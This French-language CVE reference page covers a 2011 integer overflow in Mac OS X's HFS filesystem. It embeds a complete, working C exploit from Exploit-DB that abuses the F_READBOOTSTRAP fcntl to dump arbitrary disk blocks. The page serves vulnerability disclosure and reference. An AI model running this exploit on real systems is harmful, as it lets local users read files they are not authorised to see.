CVE-2011-0180 : Détail

CVE-2011-0180

0.09%V4
Local
2011-03-23
01h00 +00:00
2024-09-16
18h24 +00:00
CVE.org
NVD
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Descriptions du CVE

Integer overflow in HFS in Apple Mac OS X before 10.6.7 allows local users to read arbitrary (1) HFS, (2) HFS+, or (3) HFS+J files via a crafted F_READBOOTSTRAP ioctl call.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 35488

Date de publication : 2011-03-20 23h00 +00:00
Auteur : Dan Rosenberg
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/46982/info Apple Mac OS X is prone to a local information-disclosure vulnerability because of an integer-overflow error in the HFS subsystem. A local attacker can exploit this issue to obtain sensitive information that may lead to further attacks. Due to the nature of this issue, local attackers may be able to execute arbitrary code in the context of the kernel, but this has not been confirmed. Versions prior to OS X 10.6.7 are vulnerable. NOTE: This issue was previously discussed in BID 46950 (Apple Mac OS X Prior to 10.6.7 Multiple Security Vulnerabilities) but has been given its own record to better document it. /* * Apple HFS+ F_READBOOTSTRAP Information Disclosure * by Dan Rosenberg of Virtual Security Research, LLC * @djrbliss on twitter * * Usage: * $ gcc hfs-dump.c -o hfs-dump * $ ./hfs-dump [size] [outfile] * * ---- * * F_READBOOTSTRAP is an HFS+ fcntl designed to allow unprivileged callers to * retrieve the first 1024 bytes of the filesystem, which contains information * related to bootstrapping. * * However, due to an integer overflow in checking the requested range of * bytes, it is possible to retrieve arbitrary filesystem blocks, leading to an * information disclosure vulnerability. * * This issue was originally reported to Apple on July 1, 2010. The fix was a * single line long and took more than 8 months to release. No gold stars were * awarded. * */ #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/fcntl.h> #include <sys/mman.h> int main(int argc, char * argv[]) { int fd, outfd, ret; long num; unsigned char * buf; struct fbootstraptransfer arg; if(argc != 3) { printf("[*] Usage: %s [size] [outfile]\n", argv[0]); return -1; } num = atol(argv[1]); outfd = open(argv[2], O_RDWR | O_CREAT, 0644); if(outfd < 0) { printf("[*] Failed to open output file.\n"); return -1; } ftruncate(outfd, num); buf = (unsigned char *)mmap(NULL, num, PROT_READ | PROT_WRITE, MAP_SHARED, outfd, 0); if(buf == MAP_FAILED) { printf("[*] Not enough memory.\n"); return -1; } arg.fbt_buffer = buf; arg.fbt_offset = num * (-1); arg.fbt_length = num; fd = open("/", O_RDONLY); if(fd < 0) { printf("[*] Failed to open filesystem root.\n"); return -1; } ret = fcntl(fd, F_READBOOTSTRAP, &arg); if(ret < 0) { printf("[*] fcntl failed.\n"); return -1; } printf("[*] Successfully dumped %lu bytes to %s.\n", num, argv[2]); return 0; }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.6.6

Apple>>Mac_os_x >> Version 10.6.0

Apple>>Mac_os_x >> Version 10.6.1

Apple>>Mac_os_x >> Version 10.6.2

Apple>>Mac_os_x >> Version 10.6.3

Apple>>Mac_os_x >> Version 10.6.4

Apple>>Mac_os_x >> Version 10.6.5

Configuraton 0

Apple>>Mac_os_x_server >> Version To (including) 10.6.6

Apple>>Mac_os_x_server >> Version 10.6.0

Apple>>Mac_os_x_server >> Version 10.6.1

Apple>>Mac_os_x_server >> Version 10.6.2

Apple>>Mac_os_x_server >> Version 10.6.3

Apple>>Mac_os_x_server >> Version 10.6.4

Apple>>Mac_os_x_server >> Version 10.6.5

Références

http://support.apple.com/kb/HT4581
Tags : x_refsource_CONFIRM
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.